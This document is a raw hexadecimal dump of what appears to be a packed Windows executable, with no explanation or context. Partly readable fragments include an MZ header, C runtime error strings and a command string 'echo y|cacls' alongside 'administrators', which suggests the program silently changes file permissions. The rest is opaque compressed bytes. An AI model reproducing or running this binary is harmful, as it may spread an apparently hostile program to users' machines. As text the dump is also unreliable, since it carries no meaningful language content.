742982DC1B5870F83544218D813B7208615C0631103E804A0DC2BBEE82053F41F058E137F8A1F8D7701C865142C4DFC85C382362B08BE147EAB388C85050AEBD080FB2DDB12B7EA35752B4D14C7050D2B45A19C6B0A17120E5803F5DACD8C8924CD8008F6159DF8240F8F776761242E1BCD0DE830740D100A325E3CAB3356E278740D141208966BB9DB52E939027517281D1FDE466D190475ACC94663216EB02BF2D2F746BF035B283015ECF4BC0C4FC590DC030456700B74AC6D2D1546CB073070EB6AFE903D0B572A668B047023C74A158A36236F81B2B94674BB33373B8C73361EED8861AD6F7575F472148C837764EA50620411B11003F14CB86A10D1FEAD966A13A5D021BFBD6DFFB612C08B5D0BFDDB1F0AF0022BDC80EB4BD5E81FD1A8047A751BA8012AA210154AA80230BA7515FD467709A8394B762716ABB6AF17F64501274015DC6DA0FCEB10572402F6BA0214B81BF7D80D615A05D668AE034A032A476F117201CEB518160728472FF8A0A3897C442A10BDB0008D42D188B676304D8D6406258AB4080A39195E8AC500C2142CAB168ABF50940A4238D974D11E51ED05EACF1275ED0BD857F0E3105608D844F1E88B0ABF018433CB11F147EFDFF983F1FF0ACF33C63BBF3FBAFA81E10B751C250674D3F25DB5F17B0881E6EC75C4B05BD84251A39BF8FC38D874365BEF38DC2EA62B01D19BE70B12157BD66E9ADC06D4EB962DB142FE37D13B279D06FDFCCFA850A3430F2EA43A7A430E4760698A71017F4F8C5D60D79819148A8938D0520B5B68E26B590A0A97F5165F81A075FF9F10F075EB8D7EFF8A61026C2810B7DDBD6DD138E0A18A410331188A66D3C110E8865D7B74DFEBB12F348AC2E5C1128D53FC36575C0CC1C705513D7EFBDD6DB88528811ED25E2D10850117A0DE6E1D73ECF48BC40C8BE18BE56001BC58184948557F618042170290F024E566507D4367E816DD4EB5056ED6B8297450AF7D3FF310CC07B857144C0C0683801BDE50A10BEE16FFD04104BDA7EF0E1050B85311813B159B4B03084DC40A38067DEBF85710023E040B7340AB8EB4C507F64481043E2536DBAAA9D87EC3450DC3693CF80801B88A72DC0999FAA32883CE099C832000CE628489B2F8416803B65582FA0D0D29EB016399A02DE6BA189C409C0FD4F084F0F8FD1538075EC9C098BE59D6DC5BCB502BA883E61FA9AEA859CC5D5E8064FD8DAD8AD7D108E440C4410238549D510407D1566A609005C902F0EEFDA667F4C5C7F6C1F8058D1C85730CDA96B7728014C08B03027E3011C17DA1170E6A0257E84C54A84A5D7403D62F7E26B7110AC16AC15245FCE081BA55C686EACDECBE22158575099E29FED6FEE50A750980F90A7409F0C6000D4088F86DD420D79695292BCAD8A31A23AC7CED11568016A008F4FE0D10A37A7B575071FF3430706EC402D463431A0171C77C7681B2B93E64459C728AD982C608DE8B13E53950005A5F2E626A055EA6869BB0C09117896841B4B5B259C47F08EBC78D4DF45751FF6497ED72E60BD1A7EBA72C9C0F6D120E06E02C9720408DA81B0AF50480381A379E643047E76E1C38EBD2C453C4DAA4F0DEBF5489EAA3787C6A59FC201A34E8C0F76606E2816EC6C74118B411C8413B74EE8D41141812026609C1583570D7BC7C3BE8E0D50315727005E03906C3F1642C368A33C2F65DB01340E85AC0566A145F5E76E346BFA2D4EB06DF7D07658023446FA3199EB56B00071F6C614AB0FD21A12C150B7B69C0180B1A6FE12188FD3DB91519135182DB8904A6C0204CDE0516CC76C07CEA1CBAACF16882DF39C6C1FEC634B5990486B6304426A2F7D60A1EE3EEB7A8C2204181FA2CB07CD1B7DD3680ED6844ED44478C8092DC2BFEDDEA8DE4B96ABF72175FA077102BCD2278D956F8C01C5075382338C97C89C0BD14668264A6EA1EA12206E42A5B51B2C48286E44AB2C4888405F18A24209E402C1E345D040E1234B2263FC7F2C40250219FB6591128421628116A8066153F4A5D58A2CCB189491C530C16A25023A492F7015BA311943D98B88D65B938D1169551C536284A502B2E3FFB3C9103C66335B2361083F114B006360E9A2AEDDAF62A1941CCBFD3180BE0A27BB069187F0B1039804A5DB7BFD8090C07D328FF5FE936AE5C195413D1E9D1DBD1EAD1D80B74ED2F4589F7F38BF0F7643D2144EE06DDBFF7E603D1720E3B27775B073B2BD1D81AED76014E4C6BD0C2D19BCDDE21CF532A6E506E8CDDBAC35605C20BEB506E10B719B2D70C156EC8149104EE4D3358106B0C0E0876082BBB519BE9B61B11140708BDDA040DF42EFCDA007C1456AB620C72DF8FC96A801CC0AD4520D023F6113C1BDEA60BF05694CA1E590ADE81A2F1587ED03320DE88F7FF50DBC9416D1407AA8CCF7655DA80B804F957743958345BA90B3202B706080444354BB310022001708B4AD184051F45B7CB87A289B868D1BEA2BF42ED450FC5D6BD401F7907FC6F609A14080AD6750B0BC7EB070BC5AE71EB6F1080CC0123CF5E883BCD3745EF37E26D81EB4C865DF6C7105B5901F10E733B91567AD70C96CC7889970210AE8EFDBD3B0620F7C38CA18BCBBA87CABE1BF182461D12FF3BAA3568D1CE74CFF87BA87D5B234F040885042C2967B666222E260C274FDA7B2B600B050BC25E4F829BA843D78A241030AB9959BCED63E9F7F96AF9F04B990A591662A1FF0BE083CAFFD3E2F7D28514B0674656B5758B237D1114B0945A410580843D2A08D5ED107CF2BB5E10C6DEA3B9BB4A784E4C14C2CDDD6E8D3CB3161F592951D3E09894BBD9C13791DDE34E781C1B02D62A1CAE08162C450D00B6BEE7E5CE205E45440C59F7A3B616A85C59795F0166AB573476C35E99B3C8C1A4C75602DA446AA188107AE106702BF25A91E2855D2143534473514FBECAA7D8BAE7DCE6E31338F0FC595BE52B11B89AFA6A03592104F8696885603322FEC834D960866B8571268A5BBEB5F60045291B5E308934013845861A054AEA530ABC1E61CE09825360983C1F250D41F9245872B3092BCEC1DC5BA841858DEE99A809E0BE88F6FDCE1F0CD7D2A5C0105E0FE62B0FEDDC02F1D68B07DECEDA10E80B42819ABB1E8907A534214D4BB49DAB09ED75DC4B7802DC9B78A35B8F6A0859FF3BDF7C0FC1811B0405D0A00410F082ED8B869A2024F54B739311DCB779E02918178C0BE8F886E9480A8BD92F80DDB66C4B85B70605F4021754ADDEA2171081E3516F25E2BD1FEBFF3F1DBD11FB01C051080C00F9BC09C30736F233F66ACBF95EC7A01D7366D11311ED59945F52B48303CDCF91CBD2FF5F1BC34AFF2147C4E801A5D2ED161C4704E52B4F4AF05E07FFB20C3EEB3C3BD87F3F57F03C81FCBAC317D208564ACC14DAF666B7420C402319582097B6642FF17B3C1F7C2852300CEE4EE6280F268B77290C0337DF3BF715A12B081E118065F77F2103CDD18AB1F3235902C09DA042156E1B7F1093A923F8AB8FEAE16A0BF10B49501DAD70FF40EC1635F861F3B6B002896E0A1120750589316B70419C18686A38192BCF823CCCA115D8E4B6192924715000587BD857F10CD4D3BA0FEE10D8097ACE0D6D2C55346AC82362A585A06C500CE10C53DDA811F57E01C60691887E1F70508906F20287FC52C437760FBED24161305A8810404685BB009F75E936C96DA1FAB7277C128039357C0DB139DEB70B2F51AAEBF5FE023E310BFF42067506F504EB12574B5749442D8B1A50511F56A253709CCF66596D456D2B6203750D8E11BBA8DD3F14FCA5A566A51ADF84267D146D7B2B01568645DA898CBF291A28280189EA570DC0F0A2F8D93ACE56CC411DD21E55E8A8FA25684206BFFF07C225662AD0F8C6C1E8871B163C828D8D5812C7D96DD125701D1A0FC6F17413055B141A031F5A3C14B41F1D15BFE0EB21FF13B41668364DD32453DB02ED4258C91866054D4B2601631B23803C9CCA5615FF4B44B740ECC8200B85E2516CB8800BFFC2CEBFD5376817DEC98BDAC13F0BD98D0C12C74F14BF893F81C75FCBEBDF0A9855085A0BF4224909161E9D28426B471B6A7CA91540F2FA04722D581B2A6E05DD972BD18075FACDF7006ACB920610CA2A34A2140D6AA096335DD7943A06234A3E75E4545971C3DFD1C8B325CE09D0E0D3900758D175DD5C9013F0081C0340DF7200E405D1C8D1C8D375B1103F06BF03AC4DD3344DA49C948C847C1A428015DF09FF2B2E4DF7F003E0ECD200DFE4210720D360D310BAEED923D2682160900B780398C82BAC68C0DFD3605828E410D3605B9AA6E9BA0614031C242C34C08AA6693C4457DFA6EB0E211F0570037826002B9A889CDF02709D15012CAF5C520E5C6C39FA75A455E2826713C1C05A8955E8F08103822792E05B081AD0409FE46E39AA6E8E0A2E8A0FF8FCBFBCDC0409740A0A74050D750347EBE76A045E8A1FFFE1D46FCCF80B0F8777E7C3D85F80FB317CDE418BB70C04397F07527ED6523A1D8267EBAAC3750E058A6083E027EB2B741E6A0E1D81E02B2ED48DD4EDD6E2AFB6ACC78EE658EBA72B09BB37B78967EB9E4EA1F07C05517EAE0A14AB664A604D1AE802357960742C2852657973DF04430F8E894A0D457E12637B6CF7917B650F8F72086A067D4F6A0B0766D8CC17A5092556F557406CCE1D590B4D93B5AF8ADDD78FC295117D3915F110045AA011E056F42A0202BD415AEB0EF743B7AAB9FBD57A1973710A686F41F46580EB300583B0616B560306F829EBB70A677305B102E75A145E5020479B02DCE6C42BB0B142B027F370353790911C114473B691CDF046B922D30A2D080180B9D967769B5D7560103102087F930F9728B7564FFE8B4D1068A4198444C774640FF76D1B38BA586558E0CC0582111FDCDDF6320F8CF2426B8FE922FCF3D1BD0A210E096A09584F09E62ED1FE3044EBC1CC90742A596C2068E5DCFF5C6C8F6297DADC5A85B44DE82B07582E996DE3C9070A4F587F0AA4951241E78811DE07D7F820D147C4E009F6B2AFAA10720412F45B0F05D3B6CF41D081FE5086C03DD6F77FC2BEBE510B6145C752604937D04FD8B64F2D85F98A7DF03E38A3D9FE5FB829D3185839A77615807DBB057C03FE45BBD77034987ABB482025088BF28B023E86A58E42A5EFA30010FC1AF2B20DA2AF01A6B63577DEA110985A2FE48E3D14D2D61A747D02DB2309E094F87D59B60718DC2B451C3DC17E30E8C54128825D10816204828DB8552E60ED58BCD816B81F4133D2269B2BFAC3EC029B5E3DB0EBA536D05F57A83EEBC78478C075E4A265D9B6373CC048C2C6CACD50D41AFCB538574A089E6ED8EBAB094804158E5EC01E200F164F65A946AD52EB224F8ABB446D7159023941DBEC5E074DF781601124D4280377CECDA5B934F8D553CAD6004A554DD33429AE98649103E460C3F6F8185523D440D558013EABDA020C69CC56C6301123C4247CB567ACEAEBDB1D1B56BE5304EFCB99808783A343BEAE1575EC24F44905541CAF6AC0AAA850A90DD93C9780D9C2945D1855056AB68D532C289B81C865A918755674A932B1A1638A8D3C1AF1444B0009FCDC541DA4A0A62EEB0BB522CC83F8DB33F60BB236BB5462E0565F1C5531EB0E5D5210BD1908ED9282AEAA8F6ACC2B04898AB700912CCF4954733C2E2634CBC9D2251D19111013000D92BF348A16890A760B4E9A098978E9E0A866699643D2CAC9C1B3BA30808CCF5603771F987A000FFB023307420FA9AA51E0AB04242487BD74F96BB190419814460FA373F2C04C996A1749433FB39F8C2D3A0AF38D46FF3B77C52770C9123B0DD9577358A0910E6A54943CC1C41F54CE93077C0174373608114DCF32FA1F3FA8D1428BD07B49F158DEDED8EC1372F4EB0804F5EB03F6441BDE46867839830C302EEB16255021812595574E9412E8731F5488245A80D80E818B00698961630B41533AF5F6B391A834C51C063CC0C1E7BC16C016F4F7837E9A235463A1456F0C67050CCE82D7AA351EAC1A992AD83FB5038D4438171CE26C2B8B5E982481201A05BD917D07D059D17A70033BD8B081FE5AC07E5D56A1AE8BF73C8B042F5068085B414121740D502F81B945EAE68D3783FF141D56B4D97C292823E5BC63B1008E11FF34ED0C59076B8FFD83240600473B5B7CA55E71AEC35F119F66153B37DCDAD1FA173557057FF6460D40958D4BBB564A17E70A8A595EB215DAF710E9532E0CB029A3C52BAAFFD5E4E826442C7C3766A908DD31DA11B3972ABA2657503B25A2EE0F7A3BC7750E2EA81F86884BD024FD1CEB078311D14C509630237820D84E890681C3AE453882FBDD3F59641433FF1630D8082FBF5939351574EBB0C9AE34D20F5F59B6E5C72494EAF6DD591A8B480CF6C1183083ADDE473E6C630F2FDCAC1D43EB1A15973D0016CA13591A75DDC606E1020BF834B04F764A463B865D108E737C8C2C39140131F03A2C1464C7D906C58DDF9A0B2B0C323BCA7288CE739459A232CD5110F196AB629A345937FF36368A2E18E0BA179A509E63C0BA8130130345163380358AF517087704634908F9AE308B78A91BD01B5FCE03F6A1343FA856D4427B1F0BF1FF84D78AC96200FCC1EA1FD1E1DF2D8DA5568850DC2EFBF955DE35BA6F1CE90BCE890D08E10BD1EA0BCFE623DCD62A1F892CA810111B44130D338C561BD49BB8A24E40DB13895304B97644CB44835132210882D827BEB0A5A553A5686253058E987C270B0F0478B5160EE065F4009E343F5B83B6AC1D20C61A1DFF5BA32D0197B663F65575DA06BAA22839C13B8943A7B40D8097B2F0C1EE7810D1BE3537477280F0FF737E03EBD3BECD4AC08FFB857301652C710BD31DFF62EB6627FC661B8CD8430AE21CC6108F78C4851C8CC8BEC7E56C1BFC42B06685C957C6CCCC03E5D3344DD3E6E7E8E9EA71D9344DEBECEDEEFBEF3F2F400C42B2D0B143022DE06D29DCEB0405C70C4BD2751EF7376A2B7D1AC175156683230018E80E2EB70303010430ECE20E66821EAA36247AC566EE91E8AE643BF875DD0FF7C714EEDE44A940F353F71CEB4696741581CE4161224BB1217585BE065819143C3223285AEB8C101D4659BB0375339467051868E1E7F1C2847C1C040616E10FB717E2376C8CCF50E91869C0104D1EEE08B051886EA665F0C1BA4E45FF56BF2E55FA6BC94DC0F68DB4010CEDBC8BD29BD8C7C1FE6CF20FBFC6F9D58B7FC7A4F07866817DFAFF3F7210074B2C3DAC4618E2172CF6B901BABA8E6E47337456143503037F68CBED2A98DFFB10A51534AADBADFB155F8575FAE4B720BA56477CFABB1C0869C3302B45C50A1C88F6E11768F1FB17F7DE81E6037E0D1C82BBD11E904E1A6E4F01D9216C7CA3B7991C7E50F2148D75F0810844B219AF24844B3B49376B6E9E15048A458EAB05E05B648065FB007E0402CAC5D6A51C148824B6AFE34695A3CDCE358D83D2111B757C306E0FE506DFE88DF648EBF10E774066FF86002AC32C6D008DC2038853CB13184A170C6AB81C2F0CC268B6A599032CF4D903E8AA1A7C01308063A242D36D0429C6922483AC4B0C686A14E54AEC51FFB1741BE412460A9DBAA933F823C22385D6F6E3CA81E7AF663D118D7DA875942BE8080F83DA537FD6933FB20AADFAFDBF0F87A2BF3F3E4770A389303A47C0BA0AA89B69D31863855629153946681B1A17B939066B97E4110FEDE56B00461E1E531639431C232A45E31139037479F96E7CA7AF062432B097FCFA0C05E8A9E0760F03C077496204800D274BFE0CE809E829DCE88BF4808DA0353302BBC1ACAD5B343FA9FC51B731CC730019060630B32A0D2EBC45DA6DF4027DE87542FBDB5A6B1208570B0C587F9C8191EDC60F7702C0CCEC7E2558E780C44506C914FEE9089ECDCE8E1D7FE2063915327D2BDB6D632B3208B601048BD83DDC1DB3828101416040474B0030512CEAA395828E66A91BCEDC1DDB5AD15A991E1C1F3D0CB1B42D542A3520DECD2C709765BBA3DE0009E21DE2002A5A25C3D6930B0B30C230B616ADDD28EB0EC907B304E2EA83A903B7DE35A6731B2EB4A597F4DE0BC70D0E073A4E026F0B6DD905E4060ED8EB1AF7DF1B452EC383FFF1D60B5101A82DED80318A0A24890A379576705797888D40F0B6EB6039D81DD8A815EF7D8B1342505E63AC29830C16109B70ED0C7C05AE2141DA17C35401B0C516BB036B076CD0EEB888278DB1813C8360178368A15D6A9C27F4A50063F65A901E1574E7B663216A19ED3E75C3DE9F00164C2D834E8D2AD1B5E4FBC078773B1C6F041D35AF052ED58A2747D81BFDFF38C474F22C413C1A1AC980E12002DE4186E00E547A2348D4D21AC060B52A57D82AEB78DD473DE6EACD0446FC7F046AF713104C00CE0D6B800A1D68325B4B94E5E93E139067271FD8ACA9E0183177C9EF0409D6D5125D073888DA1FD89480C1B6EAD8589C094EEB51255C109D22ABE030A21E376F0B2C5BD9881CE9DA080CD447FF804EB741B35AB620F726FDBFEDBE628A0774217F1D467BFC720638DC770202E638F81B955AD309D8C6F723AED74CCDD60A39084D9BB9676C5343DDE58290C2D935E686ED17769001198BD9EF8BB5565880CBF6DB57EBC334C0B6BFEC74230BDB741F7751F0AA6CAD018FE579D526AC1DEBB00975720271FC0E26454DF65FFECB38A152D52C88C0D48BED06700C4056660C9017E6746447F0C6F594E6BEC7478512F6C2A4DB3049307A36A3341B24E8C0137A551D69E0D17D0517029521D8B51C7EAF57BD577A661CA0644BEBB76A96022D1D5621728B39231890C3C3B507DB29B834AB52533311593BA323670F296859D87464606B5241CC6AF008368216A4F61E15A50A48CD1EDE56A1019D825364441220BE1A5818335B362655C8AFD91EC87CA8E082984C2BF7E17885B601835305811DB0D1AC03C20309EFD319B002079E03385DC1640A1DD3E8F52064923D0C743CB8478740ED168C1656EAF01A4D4B195B1F2007428BDD25B415B45F33F8FF1DDAE9A32AD654C1D87C2385A4BB826E5026C388041B0C579DA224051F7115D09E9A82B283C3D08AB0B00C19F408DB52830651BBD7F7FB220728284ED0362ACC73594160278503E60F8A0A760E0100889A6EFB996800360B074C035C6E699AA6697C8E9EB4C8B2699AA6D4E2EEFE140C4DD334CD263844525E6C7B4DD3348298A8BA272FD334CDB6881103786654426ED3344D362C2010FE105FCDB2597603120B04F20AD6B89A66D934C8B20ECEE6FE344DB36C160F28364E66D3344DD372869CAAB635D3344DC0D0DEEE6CA6699ACE6F031E3852689AA6699A809AB4C4D2E0B0B3EE67000C0D730C0BD807745D73764A0E1BDE2E0B20030CBAE66CD7EC0FF80D1B44340382E99AA669ACC0586E2398E449FC072951CEA0C845E83E73E03F6C313B7918F5403E07C13F9067A786590B7A233F202F197B7B47A35F5F474C3580FFFF4F42414C5F484541505F53454C45435445F5FF3790BF174D53564352543172756E74696D656697DFFE206572726F7220410D0A000054535311DADD92FF0E0053494E47E74F4D4112F276FBCB115236303238082D204B61626CB36FDFFE746F20696E6956616C697A0D6865617037E8ADFD7C27376E6F743D0475676880BDDBDEB070616323667B6C6F77693829E4B2DB61066F6E3736B79F81E4737464357075722B7669DB6F6BED7274752133A5632320630C6C6D0AF962285F345F2AF6DA6BDB65785C2F5806DCE25F9BFBC24E3139F76F7065583173C9806DBB6F0F646573632B3821C2ADB546248165641957F6907C0323376D756CAC18C9B7ED7468BF612F6C6F636BB70DB642173464B7612E5BC3AD3502A221726D0070406742286CED72616D204A6D362F33B414F630394F10412AE4738D462B302E2B381EC2F7296172677528735F3032DBB65D7B66C16E6E67826F05743A15CE5A171164E67F4D2DFEE16DA160396615566973AA432B2B2052DC777B30A04C6962B47279270A2DCEB687C316450E211150D43A36ECB235C2002E003CE5E0AFE9B6B9252C6B6C776E7506026FAD8A5E167909021004FD7F7FB6450005353000505C202838505807080037CDBBD6BDB35750070F200B000860686000AE956EF30070707808071507001AC0A5D673010E9FE90075C91FA9AE1501295D286E756C6C29B8E54D3FC07E0150413F80FFFF4773B1E658582E2D737346A674A00F2EBD33B40D32204B45524EA0333227ACB7FD34652B8730080F9CDB96EF9E7503DF0B9D8F03935F796E0031EA9DE3662D66723E2B666D6F64DDE80ABF30687970585FF16273675F37DB0F6C641F1E661F661600C679D70C9E8D0F6365696C385B616BB453CB1A73AC0371F33DB3B9724114619807007B67EFBD20072433680716263FF69E073B076C6F6731300BEB2D14428A0081DFA6DB0FD8B6030B8C4765744C537441AA99734B85761A56752E130FE13774DB575464434D3E616765426F7856A1706161753B72312E647027ADFDDD03D988038C3123514E414E09073C3672F2494E4600445317483A6D5F73776B384A0064002C204D200879DB867B7300632F642F061B4D0341FB6B2F354496656D626B634E6F760B87FDDB264F986F0A536570741441AED1D04A1496354A06418CD0787E076E65419B604D63A3616ECF636800DA75DB7BEF15064A3F0A675F57D7BDF7DE534B4743377943FB68EFBD3F3B33234364186C3BD69E4F5E09546812731376B0561A57647C0C5475096E76AC744DCD1053750743BDF7DE7B3B372F27231FE79C73EE030A11181F262DE79C73B1AF828990979E9E73CE39A5ACB3BAC1C8437662C800CA53139AE495BC920E260DF20C007265AF5C0E4F3E242184CED2278A2A1B050061C5243E474449BE8CA2B0405123E5443280BB78DB2B79C9C63DC6E560E00370F0822A33006164FF03D80613242D37383934353631323320FF13F22B6162636973747261746F72737D0055F6646F730200CAC7DD7FF9670446726565486F4B696C6C6578652E0300432639FB736574686309616F2E6B016F39B7F1777A4B5CE05BC1C930202F6B7665727973FFFFA5763A46006563686F20797C6361636C7320264D5AD49625310A36FBAA80ED2068651345EC0580AE55714D5A010A04C8200BBC130BB840E5FFDD00F0040E1FBA0E00B409CD21B8014CDB9082D65468EC3F726E05A27504C162B2440AC16F058020444F532053FD0F8117010D0D0A42428E6E5606EF00053F72F787037DF30C05070785F30E69F00405040BF6D837C5E05D0513230105CC2B1F6B47EEFEEEF00B053A0FC1E9065269E71BFCB747D8B35045134C010400A997EF4F46F02586CC0F010B01F9C11180C3AA155F908AE1ECD94E040FC0400B02279F6CC9DE000714D09054022FD9A47B1E2B1007066EEE7C093770C301572DD00B6C17080C98A740031EEC16882B2E9D74D706A9B9B0F882EB04DC20273703B12E721053D214006EC2009A16AE7340024DD37DBC2E2642DC27E01CC477E23625C04F73720EEB162B7BBFF3000C2F27CF2B82111534226A5FBA00E241178B1D59F80621A2C2119C007AA0C27292B3DF12B80A1E5DE1794C72F20C5D1461C22155F58612112555E51E681E370999DBFEEFF37C35286A0168A8614018B0252ED65BEDDD65458B04248B04A0906401A2C300EA0DE904324D15E0BE0428B105146919A47B6030080119B26D74C2DC2974586B1618018A763F45906810591960EAED47C004346D64C227B1175244A2E878EB03D9F97D309CB60A0030B755ACA02696805081512E40AD482256271B6F48B214432C71E419E4249D77714D5590B3464E1B81EA24A01AB0F26A005D08AF78D90C6D72B23DFFEC35F04B99A8494EBAEC49F437F423BC0B2BFC5671DABB0AE067C3DC0997647B1033C9AAFE16656EA5415153890B5030081197D38F2C257A93CD22CA331860D683FA6D9276FF37585B59EBC6308BA23758F5A1DB2E2A7245B0E813606C6EBC338528CFE55558E803647C248775E92001FC2A1811305012867C4028018C7B0100ADEC9D3686E4515204D13514D582FF2224085066874CB29B68E41BCC697AE790A05771B810CD4592015A398120AFB291DA28AAE17A23E42047FF79FD0E9B8CC87075324E0FF406104C4E3EA487E4170171FFFFFF9A7442C811C8010018608C84A28BDF0404F930987C147D9B5D483FD4E895023C0E85900D56455D12089C2DBDB000C0AEE7E6739027CD2064E8FCD2739E239BE4FCFC84504F20976C4940F0913521C706C54E7CCF1CB6E4900248735C344E608795249FAF7C873CEB42F845F172F8841C5B219FAE7B614B0EC92FA8725C3E8260C99412FC86ACC9137BB1FD6F66096492C98AF4F4C985BC9023A4001D54D4996C5C09987CF99179BCFCFFFFF27101002FA497F07060D3718AC3712A6A7621B30F408C234D898DC9C3E432233F44AE0383C30323903188012C0EDFF97A064A00FC680725BB0CC404C73B00C0C1286A363490E7391032D8854E4308F0707B84130BF782E97A034DC0724010EDD157B27D71038012FC4B20A4395B362431D333040767932B70720745C02543C605DB6A940DB21DF27D53E45BE0E4ED30809A2ED7F89F0E39649208E004D8D9D8A459D8532E0C9AF2283B5FD56F01C1AE6F01C1B2034502F28D9D0E9BB395680E6B10504D9E854469C8676C4930F0BC727992BC6463E4E4246F58080FC871F76EAC4E801C4A0CC86EA16EF0961C10CE380195E4B23880CC8678ADEC4D2D67268EEB56B5539F3CDBA651DE487963043D595B3B059C3CDBC17C12012A03A70ADE1C5334E48A03642C5B235B2CDEE08FE0E893AD419E21F9DC42E079D230C8DA6DDC5DE8C66D8CC1860EE80CE964410C26400E2420A76D808E3CACC36BE89625F85B6DD9E4EC48F4893C9911C0C03A2C6D864FC8943C1C08025E77018A24BF9200E06C0100E498E1232272A1BC6CC2C0200F39F8C36CFC43C891875368F79E6C7F23A396B26CAC060E362567F53468EA03D779EB1932C8940C7DEF814EC92053E9859B24C837618EAB161830F1943C533289F1899A5332C8F28D34258D2919644AF49119644A9E7791F595724A9E29BA950804C9605372990A199D3225834C0BA10CE4EC940CA5100498A9EC9434A72A2FA9FF03649241A6E4AD01B1674A069906B5A74A069B92B5074AB9CD29196403BD6B42BD910C36250530C19930B7ABEB10272018103B61321DB877354466CE4F2A990B0C27C97269F6C9D920FC0F6268F303A2943C5372C5B4C53C5332D8F630C9FDC95332C894F8CD4419644A9A47CDF9D13225CD29B754D1FA92E6940CD54958D517D2CB304C9DBD2C8AE0B20E2C291492E015B2730537B6C84918F84E136831F4D54A9643F479EB849351CFE1678080F31135D6C4738F07F845D581634EF8F2F236C8C9C84011B167F00FB2886072A1C519B18C8EECD8286693D579CA6A92534D13BAA4A8A3E8E03CA4DE53F1949A535DF252B3CB82FC163CD6D29DDF1568723772D3F4AE90384FDD6601A768D9250C7BDE383CA43811C617B4C4D181F41CD90BE17D66336D66E502C929398477F1306693453E43440175E2FA20933CB265728F70A20390577204BD65889A5CC88E7487469A493AD80404011AE3415401174DEB844C61C55CB04F4499EF966857288BC14226B2B1FF44C342B82E6480E453C010F2420648C4CD679992A610F71C9DC900F2201B64A10A1E9107E963B80FA407A7CC23E7C96320627621B90F2027C27E6584E0029D7D634372900CA54B159021B990072B1B9013213C46013BDF6239ECB0A3AD31ECCFECD92444026A7B3141A089AA0DCD68E7D3E6B1D507F868E0B906798AED5EC849B618E7E44362336281142FA4082362E5722070C9FC407DE436E32946EDEC804D5D71E4C9E4D561E9F3B2F71472228400E3996119E4617667310BCDFF724A9E81797EEC3761B7CA8A172761E1FB0B831348ECF066798B90E6D9D960FBF700F2637614C69D60416B31072979D8031FE3FB82EB0F4A5EC83B602B60F46582E07C21DD5F011F24BF3229C95F01003E02004D209F92008C5F01000E088233812F5C0CF221C02939E341009FEC04382477F35EBDF07E2108260FDD5EF144253F02B25E0100C13B32E04CC1992994F9112004F1C95D01004B1210243D073E2104C1F19F5D010026996C488B1310770282D941E86E085042104C55CA0BF922F96AE24100C14100F6E447F21D5D01003BE34100ECE4477E44C2A2D5660B6790275042D6BD5C842058D94ECA6408ECFC9AE4FFFFAAE42504C13B725CCA83852C384F5C4E8C308B842038CA87E453F2125C010092FEFFFFE25B9F921FC9010069FEFFFFB75B010003925F219E5B010041F0AE8450BE5E4BD04A7E09CA3C5B010032067961BC165B5374D0400E72025BF95A359001F96F94F604B00121360B68D99D100E6002A2B566D69B901319E8895A790F1CC82134EC872476904C196EBD2E4A6A83187C6843E3392FE1C02A09B39018DC2315C1EC002D9E49937C820F5DFF03AF48E3BDEC421E61C6C259B20F720072F6E9B743437EE4C226436EF1B939C8C9833C594D90E04603F2200E59D8AA4F1E6453AD69D25856E24B4E242726A45864C200DC856E1FE2B1259FB0816869ECE8BCDFE6B0CB68403A69E800352A1EAC6BA7AEA0584C063BF9405E2400E959E34E84F0F3F05DE9EE011FB257996C594DDD6C0056069C01772E11BA8CAA216F80E6250F84344E55578DA01D24175261AD19C8815C80987FE805049313D665A066B097EFBC5698E4077854052362C4F24286407D86725C2405037670A6DD61FB1BF2D906344C42407380B74139C8107672F85836744079E8850CAEFD5BE628018300260C13BB8C00787D3CE06B26996CE48C1023E17817F2B403BF7D65C710B14C4E1E247455C907C639167093E0084C0364C2825570F4260F21CE1D648D1655EC4D1813F12E84A118205B2919B1C84D2FE41132B9B554A5540252366170C1371C215D40EA96010190022981964172254BFF54B1902707C2538AF008DF93EF5D56A6C12759E8C1C9D101C22D9791CD26C13D9A4A39B8932D208CD92495830F22A6E40072515370DE29E44008CC2770F752026325C01B68123C9F670240A4621CFF8ED9854D52E59D0F465EC80390CE6E525E5272482132B7FFFC880CC910DB5776218FC0EDC751B70FC88EC06239883EC328957478512CCF0083B0805832C9D9904134D806DCD5C9C9C9D4D0CCC4D18B9C9C68C8C0CDD0430EB98C18C3C0D15065D0E5253A0803B460F371F2C0A023BA5CBC20CF30BCBBBC68ED27C0AFDB350BB2C4B8FFBC564192976C68B85450D16C6044400B3C3717E39694BE6A3F601C05ACD9C214BC3ECB92EDF496043F47D91C813D58BDF74F26F4E9393D22C9407200B9630024CEFF4006F39137C0C80B6B55B82BE9C1054D926907770EE47AB244424F519C6258CB181838100E5BF3671C14750B724087325BD1ABE4478891ED4807ADF0621FDA90270B27BC8FC0D84E0092BC6CBC7FC44EF6400E0B8A28D958689293661B38C0EC8B3B92C960ECC4F03040055918F2985E7EBC850738B71184B1AC3F7FF2904996F42CBC394E3904B20CE8E8BCE4900EC809EB5341044B928702380487D891AC083844E690C92096A1B20C4E9A63346E7002D1A33C57D82F42E9DC31014C951D9AF07F1860731DC801C8055D3FA1805C90B7190701916F009023E5F7575413C899ACDC833D212F64088492C7585271463A20AE0295B8F080C8D1AB8D9BA359961E5A9C02209AE828B330C82B1E4CB4B4B41DB096400726C6ED5B665D028325D41F0A07042762DC61C450EA26C82B199BAE6C24B14B0320DD32B8B8F45FE0423E7A21635168288F274C3A14CD139A018A44458182C458581DF48BDEB1E93AB17E0D971C521DC4CDEC0223793E4FB8A0905C1C61036CC9D24A40A1E067CF330298724DDF6DD8DD85CB5658DFDDA608C4B4DC7F98D1BE6C0EACACE87CD2B91B560E72407F6D5AD0DB378C1CF27CDB45D46544CC922DE12CC5CCA268F32D24D93014B7A83310F80A8006ACCC88E4871C7259B51070C2A8FB4221468249C80FEB77588EF3119C59010F83316657C220FBB545A030E88511A78849B24E4E0E9B780FEC6858B1999327F7143CD00C0AC72340A2DC35F424DB1252506CCE76808CC330A1C01B7D4E1F93626C64F41C1C52CF59B6209B682B555608DC65003964DCD4D8F0081990D49DD4548C3CF2605DC868FCC868FFE44FB6419EC1D3C4FDE47A4888D9C920C86A0F36841CEA45C48343364B989C1DC40F332474CC15E70D03E591E2E8DC996FB4ADA505E05709E0E806D024001708691091809123CD100475FE1029262710B02FF340200918F240EDFEF2406ED5F90BE5D34A9029B007BBFF481C40440AB98A482E84387EF99932E2841CD8462CCE63C0822507AA46001B79200728E5714C890C78214799F356964919007B9E1828103D7284F0920B589702208E514F4EB7458EE5B09AE5BC88915A0321D019002378201F8A451602F30099F4B34887FC400077394501002BF242AEB201F7AB60482727424EB200BF44DE943C